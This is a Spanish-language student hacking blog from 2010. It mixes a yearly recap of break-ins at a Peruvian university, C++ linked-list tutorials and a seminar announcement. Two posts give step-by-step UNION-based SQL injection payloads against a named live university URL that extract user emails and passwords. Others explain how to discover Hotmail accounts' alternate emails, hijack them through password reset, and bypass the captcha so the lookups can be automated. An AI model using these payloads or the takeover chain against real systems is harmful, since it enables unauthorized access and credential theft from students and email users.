sábado, 25 de diciembre de 2010

Feliz navidad

Hoy es navidad y quisiera hacer un recuento de las buenas y malas acciones de este blog durante el año.

En enero hicimos público un error de configuración en el SMTP de la universidad que permitía enviar correo anónimo.

En marzo mostramos como hacer una transferencia de zona de un servidor DNS de la universidad para obtener una lista muy completa de los nombres de dominio y sus IPs asociadas.

En abril publicamos un par de formas de ver las fotos de los alumnos y profesores usando la pagina del SUM y la del sistema de bibliotecas. Pero sin duda el boom de ese mes fue el error del SCU que permitía modificar los datos que saldrían impresos en el carnet de biblioteca de cualquier alumno. Hicimos un vídeo demostrativo donde le cambiamos de sexo a Salomón.

Lo más destacable del mes de junio fue el XSS que encontramos en el foro de la comunidad DragonJAR debido a una falla en la configuración. Reportamos el bug e inmediatamente fue corregido ese mismo día.

Una madrugada de agosto, junto con mi amigo Salomón, nos metimos, sin querer, en el panel de administración de la web de la Tínka. Sí, de la lotería más importante del país. Reportamos el fallo y aunque no recibimos respuesta, fue corregido algunos días después.

Desde octubre, somos dos personas las que publicamos en este blog. W1b1 entró a formar parte del equipo y aportó nuevas ideas comenzando una etapa de cambio y relanzamiento del blog. Ese mes publicamos muchas vulnerabilidades XSS y SQLi en paginas de la universidad como vicus.unmsm.edu.pe en donde con un SQLi conseguimos listar todos los anexos de las oficinas de la universidad.

El mes de noviembre fue un mes bastante movido en el blog. Con 18 artículos publicados duplicábamos nuestro número de visitas. Creo que este incremento de popularidad del blog se debió a las series de posts "Inseguridad Inalámbrica" de nuestro amigo w1b1 y "Juaqueando webs con Joomla" que escribí yo. En noviembre también mostramos como hackear la web de la FISI explotando un error SQLi con el cual obteníamos los usuarios y contraseñas del site. Reportamos el error y fue corregido a la brevedad.

Este mes de diciembre, mi karma me paso la cuenta y me hackearon el correo electrónico personal. Felizmente fue un amigo que lejos de hacer maldades me avisó para que corrija la configuración de mi cuenta. Unos días después publicamos un post con los detalles de como lo hizo bajo el titulo de "El bug del correo alternativo". Desde entonces ese post ha tenido gran cantidad de visitas y el tema también fue abordado en otros blogs y foros. Este mes también hackeamos nuevamente la pagina web de la FISI ahora explotando un blind sqli con el que, otra vez, nos hicimos con los usuarios y contraseñas del site. Y por último hemos mostrado como explotar un sqli en la pagina web de la universidad que nos permite obtener las credenciales de cualquier usuario del sistema de bolsa de trabajo.

Bien, creo que al final del año no nos hemos portado del todo bien xD Somos unos chicos malos y no merecemos regalo de navidad. Pero ha sido emocionante, nos divertimos mucho, aprendimos cosas nuevas y hemos querido compartirlas con todos. Espero que el año que viene sigamos teniendo muchas aventuras y aprendiendo cada vez más.

Que pases unas felices fiestas :) Saludos.

miércoles, 22 de diciembre de 2010

SQLi Exploitation [Parte II]


Ahora veremos como obtener los nombres de las tablas de una determinada base de datos. Esta información se encuentra en la tabla tables de information_shema. Las columnas que nos interesan son: table_name que contiene el nombre de la tabla y table_schema que contiene el nombre de la base de datos de dicha tabla.

Por ejemplo, para obtener las tablas de la base de datos rrpp, haríamos esta consulta:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='rrpp' LIMIT 1,1/*

Usamos LIMIT para ir mostrando los resultados uno a uno y WHERE para filtrar solo los nombres de tablas de rrpp.

Y para averiguar los nombres de las columnas de una tabla especifica usaremos la tabla columns de information_schema. Las columnas que nos interesan son: table_schema, table_name y column_name; que son el nombre de la base de datos, el nombre de la tabla y el nombre de la columna respectivamente.

Averigüemos las columnas de la tabla usuarios de rrpp:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,column_name FROM information_schema.columns WHERE table_schema='rrpp' AND table_name='usuarios' LIMIT 1,1/*

Si ya has jugado un poco con los ejemplos, quizá viste que hay un par de columnas: email y pass; en la tabla usuarios }xD Veamos como sacar los valores de estas columnas:

Base de Datos: rrpp
Tabla: usuarios
Columnas: email, pass

/nts.php?id=' AND 1=0 UNION SELECT 1,2,pass,4,5,email FROM rrpp.usuarios LIMIT 1,1/*

Y así podemos ir obteniendo uno a uno el par email y contraseña xD Pero... ¿Para que sistema son estas credenciales? Buscando con google podemos obtener esto:

site:unmsm.edu.pe rrpp


Se trataba de un sistema de bolsa de trabajo donde los alumnos se pueden registrar y consultar ofertas de empleo que publican algunas empresas usando el mismo sistema.


Y claro, como es un sistema de ofertas de empleo, nos piden que demos algunos datos de contacto.


Como el email para registrarnos en este sistema debe ser el que nos da la universidad. Seguramente que muchos han puesto también la misma contraseña. Y sí, así es:


(Esto es delicado, aunque nadie use el correo de la universidad xD)

Nuevamente nuestra información personal queda expuesta gracias a los muchos bugs que hay en los sistemas de la universidad. Esto ya había pasado antes con el SCU (Sistema de Control de Usuarios) de la biblioteca, donde incluso podíamos modificar la información que saldría impresa en los carnets de biblioteca de otros alumnos xD

http://alguienenlafisi.blogspot.com/2010/04/el-cambio-de-sexo-de-salomon.html

Creo que si la universidad, y en general cualquier otra institución, nos pide que entreguemos nuestros datos personales, debería tener un compromiso más serio en lo que a la seguridad de los mismos respecta.

Publico esto después de una semana de haberlo reportado, junto a otras vulnerabilidades, a tres diferentes direcciones de correo y de ninguna he obtenido respuesta hasta la fecha.

Un saludo.

Seminario de Seguridad en redes WI-FI

Gracias a mi amigo Misterio me entero que el próximo 22 de Enero se va a realizar un seminario sobre "Seguridad en redes WI-FI" en la facultad de derecho. El ingreso es libre previa inscripción.

Pueden ver la publicación del evento en la pagina principal de la universidad siguiendo este link:

http://www.unmsm.edu.pe/?a=mas&tab=3&tipo=evento&id=2826

Transcribo los detalles del evento:


 

Ciclo de Conferencias de Seguridad Informática

Hora: 10:00 a.m. a 2:00 p.m.

Seminario: Seguridad en redes WI-FI

Instructor: Fernando Martinez Arevalo - Analista de sistemas

Dirigido a: estudiantes y profesionales y técnicos de ingeniería de sistemas, seguridad de la información e interesados en seguridad informática y normas de seguridad.

Objetivo: Proporcionar a especialistas en seguridad y de la informática en general, conocimientos sobre la seguridad y inseguridad en transmisión de información por redes inalámbricas.

Temario:
  • Seguridad en red inalámbrica WI-FI
  • Seguridad en transmisión de información (WEP, WPA2)
  • Recomendaciones de seguridad en configuración de redes inalámbricas

Organiza: Instituto de Investigacion Forense - Sede Perú.

Patrocina: Omni System's S.A.C.

Inscripciones:

Ingreso libre previa inscripción.

Certificado: S/.20.

Entidad Bancaria: Banco de la Nación

Nro. de Cuenta Corriente: 00-015-009950

Responsable/ Titular: Instituto de Investigación Forense

Lugar: Universidad Nacional Mayor de San Marcos - Facultad de Derecho y Ciencia Política - Aula 303 - Ciudad Universitaria (Cruce Av. Venezuela / Av. Universitaria) Lima - Perú

Informes

Telefono: 270-5163

Contacto Movil: 991435643

Emails: sedeforense@hotmail.com/eventos@sedeforense.edu.pe

(Horario de atención de 10 a 17 horas de Lunes a viernes)

SQLi Exploitation [Parte I]


Cómo están, hackers... hace algún tiempo atrás publicamos unas vulns SQLi y XSS que encontramos en la web de la universidad:

http://alguienenlafisi.blogspot.com/2010/10/multiples-vulnerabilidades-en.html
http://alguienenlafisi.blogspot.com/2010/10/y-siguen-los-sqli.html
http://alguienenlafisi.blogspot.com/2010/10/sql-injection-en-vicus.html

Hoy vamos a mostrar como explotar una de esas vulnerabilidades para obtener información de la base de datos }:] La url del SQLi que explotaremos es:

http://www.unmsm.edu.pe/nts.php?id=' AND 1=0 /*


Como se observa, en el campo id ponemos una comilla para alterar la sintaxis, luego un AND 1=0 para que la condicional bote falso y no se seleccione ningún registro y finalmente comentamos todo lo que venga después con /*.

Lo primero que haremos será averiguar el número de columnas que se seleccionan en la consulta ¿Y para qué queremos el número de columnas? Pues porque después usaremos UNION SELECT para unir el resultado de la consulta original con el resultado de nuestra consulta inyectada y esto solo es posible si ambos resultados tienen el mismo número de columnas. Si no, tira error.

Para averiguar el número de columnas usaremos la clausula ORDER BY. Esta clausula nos permite ordenar el resultado de la consulta en función al valor de la columna de la posición que especifiquemos. Si la posición es mayor que el número de columnas seleccionadas se producirá un error y así podremos deducir dicho número. Veamos:

/nts.php?id=' AND 1=0 ORDER BY 10/* --> Unknown column '10' in 'order clause'
/nts.php?id=' AND 1=0 ORDER BY 5/*  --> Ok
/nts.php?id=' AND 1=0 ORDER BY 7/*  --> Unknown column '7' in 'order clause'
/nts.php?id=' AND 1=0 ORDER BY 6/*  --> Ok

Podemos concluir que se seleccionan 6 columnas. Observe que usamos la estrategia divide y vencerás para reducir el número de consultas que hacemos (para algo tenía servir el curso de algoritmos no?)

Ahora necesitamos saber que columnas se muestran en la pagina web a fin de usar luego esas columnas para extraer la información de la base de datos. Hacemos esta consulta:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,6/*


Podemos observar claramente que se muestran las columnas 3 y 6; usaremos estas. Las columnas 1, 2 y 5 también se muestran pero no tan claramente así que no las usaremos. Un ejemplo:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,VERSION()/*


Bien, donde antes aparecía un 6 ahora aparece la versión de MySQL del servidor xD Esa es la idea.

Para empezar a sacar información necesitaremos saber el nombre de las bases de datos, el nombre de las tablas de cada base de datos y el nombre de las columnas de cada tabla. Como en este caso se trata de un servidor con MySQL toda esa información se encuentra en la base de datos information_schema. Pueden leer más sobre esta base de datos aquí:

http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

La información sobre los nombres de las bases de datos está en la tabla schemata de information_schema. El nombre específicamente está en la columna schema_name. La consulta para obtener estos nombres sería así:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata/*


Pero como verás solo aparece un resultado. Para obtener los demás resultados usaremos la clausula LIMIT que nos permite limitar el número de resultados especificando desde que resultado y cuantos resultados mostrar. Veamos:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 1,1/*
/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 2,1/*
/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 3,1/*
...


Osea, vamos obteniendo un resultado a partir del primero, un resultado a partir del segundo y así hasta obtener todos los nombres de las bases de datos. Pero ¿Comó sabremos cuantos nombres hay, es decir cuantos registros tiene schemata? Eso lo podemos averiguar usando la función COUNT() de MySQL así:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,(SELECT COUNT(*) FROM information_schema.schemata)/*


De esa forma podremos averiguar el número de registros que hay en cualquier tabla. Eso nos puede ser muy útil :)

Bien por ahora nos vamos a quedar aquí. Luego veremos como sacar los nombres de las tablas y columnas (que no es muy diferente) y también obtendremos otros registros más interesantes };]

Hasta la próxima... saludos.

lunes, 20 de diciembre de 2010

Listas enlazadas simples

Hola, hace un tiempo publiqué un ejemplo de lista enlazada simple:

http://alguienenlafisi.blogspot.com/2010/12/lista-enlazada-simple-en-cc.html

Tubo más visitas de las que imaginé, así que ahora les dejo la explicación más detallada de cada operación y como se implementa. Si no se entiende algo del código pueden visitar este link:

http://alguienenlafisi.blogspot.com/2010/12/cc-para-estructuras-de-datos.html

Espero que sea útil y disculpen las faltas ortográficas xD

Listas enlazadas simples

Las listas simples están formadas por nodos con un solo enlace. Este enlace hace referencia al siguiente nodo de la lista o a NULL si es el ultimo nodo. NULL es un valor que representa que la referencia esta vacía. Debido a que poseen una sola referencia el recorrido de las listas simples es en una sola dirección: del primero hacia el ultimo. No es posible ir de un nodo al nodo anterior.


1 Implementación de una lista simple

Para implementar una lista primero debemos definir su nodo. Podemos definir el nodo como una estructura con dos campos: uno para almacenar el valor o la data del nodo y el otro para almacenar la dirección del siguiente nodo. El primer campo puede ser un tipo de dato elemental o una estructura. El segundo debe ser un puntero a una estructura nodo. Veamos:


En código:

struct nodo {
 int data; //almacena la data (un entero en este caso)
 nodo *sgte; //almacena la dirección de otro nodo
};

Una lista se maneja mediante un puntero al primer nodo de la lista. A este puntero se le conoce como cabecera y se declara en la función principal (main). Inicialmente, cuando la lista esta vacía, la cabecera debe de tener el valor NULL. Veamos:

int main() {
 nodo *cab = NULL; //declaración de la cabecera de la lista
 return 0;
}

Por medio de la cabecera podemos acceder a todos los nodos de la lista de la siguiente manera: como la cabecera apunta al primer elemento, accedemos su campo sgte y encontramos la dirección del segundo elemento luego accedemos al campo sgte del segundo elemento y encontramos la dirección del tercero. Así sucesivamente hasta que el campo sgte de un elemento sea igual a NULL entonces diremos que este es el ultimo elemento y que la lista ha terminado.

2 Operaciones sobre una lista simple

Las operaciones sobre una lista las implementamos mediante funciones que reciben como parámetro la cabecera de la lista sobre la que queremos trabajar entre otros parámetros dependiendo de la operación. Ahora veamos las operaciones básicas que se pueden realizar sobre una lista enlazada simple.

2.1 Recorrido de la lista

Esta operación es la mas sencilla de todas y consiste en ir desde el primer elemento de la lista hacia el ultimo. El propósito de esta operación es variado, se puede usar por ejemplo para contar cuantos elementos tiene la lista o para mostrar la data de todos los elementos.

Para recorrer la lista definiremos una función que reciba por parámetro la dirección del primer elemento de la lista (la cabecera). Luego habrá que validar si la lista esta vacía, es decir si la cabecera apunta a NULL. En caso este vacía podemos mostrar un mensaje informando ello y terminar la función. Si no, iniciaremos el recorrido: declaramos un puntero “p” al primer elemento igualándolo a la cabecera. Lo que sigue es un proceso iterativo: asignamos a p el valor del campo sgte del nodo apuntado por p (p=p->sgte), es decir p apuntará al siguiente elemento de la lista y repetimos este proceso mientras que p sea diferente de NULL. Al llegar al ultimo elemento el campo sgte será NULL, p tomará ese valor y la función terminará.

En código:

//Función para recorrer una lista y mostrar la data.
void recorrer(nodo *cab){ 
 //verifica si la lista esta vacía
 if(cab == NULL){
  //si esta vacía muestra este mensaje
  cout<<"La lista esta vacia."<<endl;
 } 
 else{ 
  //si no esta vacía declara un puntero p al primer elemento de la lista 
  nodo *p = cab;
  do{ 
   //muestra la data del nodo referido por p
   cout<<"Elemento: "<<p­->data<<endl;
   //asigna a p la dirección de nodo siguiente o NULL si no lo hay
   p = p­->sgte;
   //repite el proceso mientras p sea diferente de NULL
  }while(p != NULL);
  cout<<"Fin del recorrido."<<endl; 
 } 
}

2.2 Insertar un elemento a la lista

La inserción de un elemento puede hacerse de tres maneras: Inserción por el final, inserción por el inicio e inserción en la posición enésima. En todas la idea es crear un nuevo nodo con la data que se recibe por parámetro y enlazarlo con la lista. Veamos las tres formas de inserción.

2.2.1 Inserción por el final

Consiste en enlazar el ultimo nodo de la lista al nodo nuevo. Para ello primero evaluamos si la lista esta vacía. Si esta vacía hacemos que la cabecera apunte al nuevo nodo y terminamos. Si la lista no esta vacía la recorremos hasta llegar al ultimo elemento y modificamos su campo sgte para que apunte al nuevo nodo. El campo sgte del nuevo nodo debe ser igual a NULL.

Importante: Para modificar el valor al que apunta la cabecera debemos pasar la cabecera por referencia. Pero como la cabecera es un puntero, para recibir la dirección de memoria de un puntero usaremos en los parámetros de la función un puntero a puntero.

En código:

//Función que inserta un nodo nuevo al final de la lista
void insertarFinal(nodo **pcab, int data){ 
 //crea un nuevo nodo dinámicamente e inicia sus campos
 nodo *nuevo = new nodo; 
 nuevo->data = data; 
 nuevo->sgte = NULL; 
 
 //valida si la lista esta vacia (pcab apunta a la cabecera osea pcab==&cab)
 if(*pcab == NULL){
  //modifica la cabecera para que apunte al nuevo nodo 
  *pcab = nuevo; 
 } 
 else{ 
  //declara un puntero p que apunta al primer nodo (p==cab)
  nodo *p = *pcab; 
  //avanza p hasta que llega al ultimo nodo (el que tiene NULL en sgte)
  while(p->sgte != NULL){ 
   p = p->sgte; 
  } 
  //asigna la dirección del nuevo nodo al campo sgte del ultimo nodo
  p->sgte = nuevo; 
 } 
}

2.2.2 Inserción por el inicio

Consiste en enlazar el nuevo nodo al primer nodo de la lista y modificar la cabecera para que apunte al nuevo nodo. También es necesario pasar la cabecera por referencia.

En código:

//Funcion que inserta un nodo nuevo al inicio de la lista
void insertarInicio(nodo **pcab, int data){ 
 //crea un nodo nuevo
 nodo *nuevo = new nodo; 
 //inicia el campo data del nuevo nodo con la data recibida por parámetro
 nuevo->data = data; 
 //asigna al campo sgte del nuevo nodo el valor de la cabecera (*pcab==cab)
 //si la lista esta vacia (cab==NULL) sgte sera NULL
 //si la lista no esta vacia sgte apuntara al primer elemento
 nuevo->sgte = *pcab; 
 //modifica la cabecera para que apunte al nuevo nodo
 //el nuevo nodo sera ahora el primero
 *pcab = nuevo; 
}

2.2.3 Inserción en la posición enésima

En esta función se recibe además un índice “n” que indica la posición en que será insertado el nuevo nodo (0 es la primera posición convencionalmente).

Primero contaremos el numero de nodos de la lista para poder validar si el índice es correcto, esto lo podemos hacer dentro de la misma función o en una función aparte. Luego de validar que el índice esté entre cero y el número de nodos, evaluamos 3 casos bien definidos:
  • El primero es que el indice sea 0, es decir se inserta al inicio. En este caso podemos llamar a la función insertarInicio() definida anteriormente.
  • El segundo caso es que el índice sea igual al numero de nodos, es decir se inserta al final de la lista. Podemos llamar a la función insertarFinal() ya explicada.
  • En el tercer caso el índice estará en la zona intermedia de la lista.
Para insertar en el tercer caso declaramos un puntero “p” que apunte inicialmente al primer elemento y hacemos que avance hasta llegar a una posición antes de la posición en la que queremos insertar. Luego creamos el nuevo nodo y asignamos a su campo sgte la dirección almacenada en el campo sgte de p. Finalmente modificamos el campo sgte de p para que apunte al nuevo nodo.

En código:

//Función que inserta un nodo nuevo en la posición enésima
void insertarEnN(nodo **pcab, int data, int n){ 
 //contamos el numero de nodos de la lista
 int nNodos = contarNodos(*pcab); 
 //validamos que el índice n este en un rango valido
 if(n > nNodos || n < 0){ 
  //si no esta, mostramos un mensaje de error
  cout<<"Posicion no valida. Hay "<<nNodos<<" nodos en la lista"<<endl; 
 } 
 //si n es 0 (primera posición) llamamos a insertarInicio() 
 else if(n == 0){ 
  insertarInicio(pcab, data); 
 } 
 //si n es igual al numero de nodos (ultima posición) llamamos a insertarFinal()
 else if(n == nNodos){ 
  insertarFinal(pcab, data); 
 }
 //En este caso n debe estar en la zona intermedia de la lista 
 else{ 
  //declaramos un puntero p al primer elemento de la lista
  nodo *p = *pcab;
  //avanzamos p hasta la posición n-1
  for(int i=0; i<n-1; i++) 
   p = p->sgte; 
  //creamos el nuevo nodo e iniciamos su data
  nodo *nuevo = new nodo; 
  nuevo->data = data; 
  //el campo sgte del nuevo elemento apuntara al nodo siguiente de p
  nuevo->sgte = p->sgte; 
  //el campo sgte de p apuntara al nuevo nodo
  p->sgte = nuevo; 
 } 
}

//Función que devuelve el numero de nodos de una lista.
int contarNodos(nodo *cab){ 
 int cont = 0; 
 while(cab!=NULL){ 
  cab = cab->sgte; 
  cont++; 
 } 
 return cont; 
}

2.3 Buscar un elemento

Esta operación consiste en recorrer la lista comparando la información que almacenan los nodos con la información buscada. Por ejemplo, en una lista de alumnos nos puede interesar programar una función de búsqueda por código de alumno, en este caso compararemos el código buscado con el código que almacenan los nodos. Al encontrar una coincidencia se devuelve la dirección del nodo que contiene la información buscada.

En código:

//Función que busca un nodo y devuelve una referencia al nodo.
//Si no lo encuentra devuelve NULL. 
nodo *buscar(nodo *cab, int data){ 
 //valida si la lista esta vacia 
 if(cab == NULL){ 
  cout<<"La lista esta vacia."<<endl; 
 } 
 else{ 
  //declara un puntero p al primer elemento de la lista 
  nodo *p = cab; 
  do{ 
   //valida si la data del nodo es la data buscada 
   if(p->data == data){ 
    //devuelve la referencia al nodo y termina la función 
    return p; 
   } 
   else{ 
    //p apunta al siguiente nodo 
    p = p->sgte; 
   } 
  //se repite mientras no se llegue al final de la lista 
  }while(p!=NULL); 
 } 
 //si termina la lista y no encontro el nodo buscado retorna NULL 
 return NULL; 
}

2.4 Eliminar un elemento de la lista

La eliminación de un elemento consiste retirarlo de la lista sin alterar su funcionamiento normal, es decir se debe redireccionar los enlaces de los elementos contiguos al elemento eliminado de modo que aún sea posible recorrer la lista sin problemas. Una vez fuera de la lista se debe liberar el espacio de memoria del elemento eliminado.

En código:

//Función que elimina un nodo usando como criterio de busqueda la data del nodo. 
void eliminar(nodo **pcab, nodo *n){ 
 //valida si la lista esta vacia 
 if(*pcab == NULL){ 
  cout<<"La lista esta vacia."<<endl; 
 } 
 else{ 
  //valida si el nodo a eliminar existe 
  if(n != NULL){ 
   //valida si el nodo a eliminar es el primero 
   if(n == *pcab){ 
    //hace que la cabecera apunte al segundo elemento 
    *pcab = (*pcab)->sgte; 
   } 
   else{ 
    //declara un puntero p al primer elemento de la lista 
    nodo *p = *pcab; 
    //hace que p apunte al nodo anterior al que se va a eliminar 
    while(p->sgte!=NULL && p->sgte!=n){ 
     p = p->sgte; 
    } 
    //enlaza al nodo anterior con el siguiente 
    p->sgte = n->sgte; 
   } 
   //libera el espacio de memoria del nodo eliminado 
   delete n; 
   cout<<"El elemento se ha eliminado correctamente."<<endl; 
  } 
  else{ 
   cout<<"No se encontro el elemento."<<endl; 
  } 
 } 
}

Actualización:

Por otra parte, si lo que deseamos el eliminar un nodo según su posición dentro de la lista, haremos lo siguiente: primero debemos validar que la posición del nodo a eliminar esté entre 1 y el número de nodos de la lista; luego se debe hacer un recorrido de la lista hasta la posición indicada a fin de obtener un puntero al nodo que deseamos retirar, en ese mismo recorrido también debemos conseguir otro puntero hacia el nodo anterior; por último se procede de forma similar al ejemplo anterior.

//Función que elimina el enesimo elemento de la lista
void eliminarPos(nodo **pcab, int pos) {
  //obtiene el numero de elementos
  int n = contarNodos(*pcab);
  //valida si la posicion esta en el rango [1,n]
  if( pos < 1 || pos > n ) {
   cout<<"Posicion "<<pos<<" no valida. Hay "<<n<<" elementos en la lista."<<endl;
  } else {
   //declara un puntero "p" al primer nodo y un puntero auxiliar "q"
   nodo *p = *pcab, *q;
   //avanza el puntero "p" hasta la posicion indicada
   //"q" debe quedar una posicion antes
   for(int i=1; i<pos; i++) {
    q = p;
    p = p->sgte;
   }
   //si el nodo a eliminar es el primero
   if(p == *pcab) {
    //se avanza la cabecera al siguiente elemento
    *pcab = (*pcab)->sgte;
   } else {
    //enlaza el nodo anterior con el nodo siguiente
    q->sgte = p->sgte;
   }
   //libera la memoria del nodo eliminado
   delete p;
   cout<<"El elemento se ha eliminado correctamente."<<endl;
  }
}

domingo, 19 de diciembre de 2010

Saltar captcha en maccount.live.com

Si ya has jugado un poco con el bug del correo alternativo

http://alguienenlafisi.blogspot.com/2010/12/el-bug-del-correo-alternativo.html

sabrás que tienes que completar un captcha (esas 6 letras de la imagen) cada vez que quieres consultar el correo alternativo de una cuenta.

Haciendo algunas pruebas he observado que solo es necesario completar el captcha una única vez y ya luego podemos hacer todas las consultas que queramos. Esto nos puede ser útil cuando necesitemos averiguar correos alternativos en cadena y también si alguien quisiera automatizar el proceso ;)

Bueno el procedimiento es este:

Después de completar el captcha y darle clic en siguiente, nos muestra la página donde veíamos el correo alternativo. Si nos fijamos en la parte inferior hay un link que dice "Privacidad". Le damos clic.


Veremos la declaración de privacidad de hotmail. Al final dice "Listo", le damos clic.


Ahora, si nos fijamos en la url de la página, veremos un campo "username" que contiene la dirección del correo titular.


Podemos cambiar la dirección titular en la url y presionar enter para consultar su correo alternativo y repetir esto tantas veces como queramos. Ya no nos pedirá completar ningún captcha xD

Hasta pronto, saludos.

jueves, 16 de diciembre de 2010

El bug del correo alternativo

Después de que me "hackearan" la cuenta de hotmail xD

http://alguienenlafisi.blogspot.com/2010/12/te-he-hackeado-la-cuenta.html

me puse a investigar sobre algo que aun no me quedaba muy claro. Ya había entendido que mi error fue dejar que mi correo alternativo expirara de forma que otra persona lo pueda registrar como suyo y usarlo para resetear el password de mi cuenta titular. Pero... ¿Se puede saber el correo alternativo de una cuenta ajena?

La respuesta es SI gracias a un ligero bug en la pagina de restablecimiento de contraseña de windows live movile pues almacena en un campo oculto las direcciones de correo alternativo sin ningún tipo de cifrado.

Entonces el procedimiento para averiguar el correo alternativo de cualquier otra cuenta sería este:

Entramos a https://maccount.live.com y le damos click a ¿Olvidó la contraseña?


Escribimos el correo titular, completamos el captcha y le damos a siguiente.


Si el correo tiene configurada una dirección alternativa entonces ahí la veremos pero estará censurada con asteriscos.


Sin embargo si observamos en el código fuente existe un campo oculto llamado "EmailList" que almacena las direcciones alternativas en texto plano xD


Nota: Para ver el código fuente, damos clic derecho sobre la pagina y luego en la opción "Ver código fuente", si estamos en Firefox o Internet Explorer, o "Inspeccionar elemento", si estamos en Google Chrome.

Así de fácil es averiguar el correo alternativo de cualquier usuario de hotmail. Luego si ese correo esta disponible, ya sea por que expiró por falta de uso o por que nunca existió realmente, entonces otro lo puede registrar y usarlo para resetear la contraseña del correo titular. Pero si ya está registrado aún se puede intentar buscar el alternativo del alternativo y así en cadena...

En Metasploiter acaban de publicar un vídeo explicando todo el procedimiento. Pueden verlo en este link:

http://metasploiter.blogspot.com/2010/12/bug-hotmail-al-descubierto.html

Y tu ¿Te acuerdas que pusiste de correo alternativo? ¿No? Pues mejor ve a echarle un vistazo. No vaya a ser una dirección falsa o un correo que creaste y nunca más volviste a usar. Si es así entonces eres vulnerable }:P

Saludos.

Actualización:

1. Publicada una forma de evadir el captcha ;)

http://alguienenlafisi.blogspot.com/2010/12/saltar-captcha-en-maccountlivecom.html

2. El bug ya fue corregido :)

martes, 14 de diciembre de 2010

Hacking the FISI Again [VIDEO]

Bien, aquí lo tienen el vídeo del Blind SQL Injection en la web de la facultad xD



Los detalles los pueden leer aquí:

http://alguienenlafisi.blogspot.com/2010/12/hacking-fisi-again.html

Saludos.

Te he hackeado la cuenta...

Aproximadamente las 10:10 de la noche. Después de los exámenes de hoy, llego a mí casa y enciendo el ordenador. Es hora de ver que hay de nuevo en la red: maligno hablando de su próxima gira por América, en pentesters se meten "hasta la cocina" con un SQLi, en SbD dicen algo sobre wikileaks, tengo doscientos y pico correos no leídos, en los mensajes sin conexión alguien pone:



- háblame cuando te conectes que es importante.

Reconocí quien era e imaginé que se trataba de algún nuevo exploit para MSF.

- hola que tal :) - Respondí - me decías de algo importante?

- hey, te iba a avisar de una cosa... te he hackeado la cuenta.

Así, de una y sin anestesia, me avisaban que mi cuenta de correo personal había sido completamente vulnerada! o_O'

Luego de conversar un rato comprendí el error que había cometido y lo que tenia que hacer para arreglarlo.

Creo que tarde o temprano esto me tenía que pasar, son las leyes del karma xD

Los detalles de la técnica que usó me dijo que los publicaría en su blog en lo que va de la semana. Para los interesados el blog es:

http://metasploiter.blogspot.com

Estén pendientes. A propósito tiene unos muy buenos vídeotutos de MSF :)

Ahora me voy a dormir, espero no tener pesadillas después de todo esto xD

Saludos.

Actualización:

Ya está publicado el bug del correo alternativo, mas información en:

http://alguienenlafisi.blogspot.com/2010/12/el-bug-del-correo-alternativo.html

http://metasploiter.blogspot.com/2010/12/bug-hotmail-al-descubierto.html

lunes, 13 de diciembre de 2010

C/C++ para Estructuras de Datos

Para una mejor comprensión de los algoritmos que a veces posteo en el blog, me ha parecido conveniente explicar algunas partes del lenguaje C/C++ que se usan al implementar estructuras de datos tales como listas, arboles, grafos, etc. Así, cuando la complejidad del código presente dificultades al lector, éste siempre podrá volver a este contenido para disipar sus dudas.

Aunque trataré explicar los temas sin que haya necesidad de mucho conocimiento previo, este texto no ha sido pensado para alguien que empieza desde cero. Si ese es tu caso es muy probable que no vayas a entender nada, así que no te desanimes por ello.

Este post estará sujeto a modificaciones a fin de añadir contenido, corregir errores, hacer mejoras, etc. Puedes ayudar con tus comentarios y sugerencias. Tu opinión importa ;)

C/C++ para Estructuras de Datos

1. Estructuras.

Las estructuras o registros son un conjunto de variables no necesariamente de tipos iguales cuyos valores están relacionados para poder definir un elemento. Por ejemplo el elemento “Punto” esta definido por dos variables reales x e y. Una estructura se declara usando la palabra reservada struct seguida del nombre de la estructura y entre llaves la declaración de las variables que la conforman. Ejemplo:

//Estructura Punto
struct Punto {
 double x; //coordenada x
 double y; //coordenada y
};

Luego de definir la estructura podemos instanciar variables de ella de la siguiente manera:

Punto unPunto; //variable del tipo Punto

Para acceder a un campo de la estructura se usa el operador “.” (punto) colocado después del nombre de la variable y seguido por el nombre del campo. Por ejemplo:

unPunto.x = 0; //asigna 0 al campo x
unPunto.y = 1; //asigna 1 al campo y

2. Punteros.

Los punteros son variables especiales que guardan la dirección de memoria de otras variables. Un puntero se declara escribiendo el tipo de la variable referida seguido del operador “*” (asterisco) y el identificador del puntero.

int *puntero; //declara un puntero a variable entera

Para que un puntero haga referencia a una variable se usa el operador “=” (asignación) después del identificador del puntero y seguido por la dirección de memoria de la variable. La dirección de memoria se obtiene mediante el operador “&” (dirección) seguido del identificador de la variable.

int var = 1; //declara un entero var
int *p;  //declara un puntero p
p = &var; //asigna a p la dirección de var

Para acceder al valor de la variable referida se usa el operador “*” (indirección) seguido del identificador del puntero.

int var=10, *p=&var; 
cout<<*p; //muestra el valor de var
*p = 20; //asigna 20 a var

2.1 Punteros a estructuras.

Se puede declarar punteros que hagan referencia a estructuras de la misma forma que se hace para las variables simples.

struct Punto {
 double x;
 double y;
};

Punto unPunto; //variable del tipo Punto
Punto *p; //puntero a una estructura del tipo Punto 
p = &unPunto; //p hace referencia a la variable unPunto

La sintaxis para acceder a los campos de una estructura mediante un puntero es algo especial. Por ejemplo la siguiente sintaxis produce error:

Punto unPunto, *p=&unPunto;
*p.x = 0; //produce error
*p.y = 1; //produce error

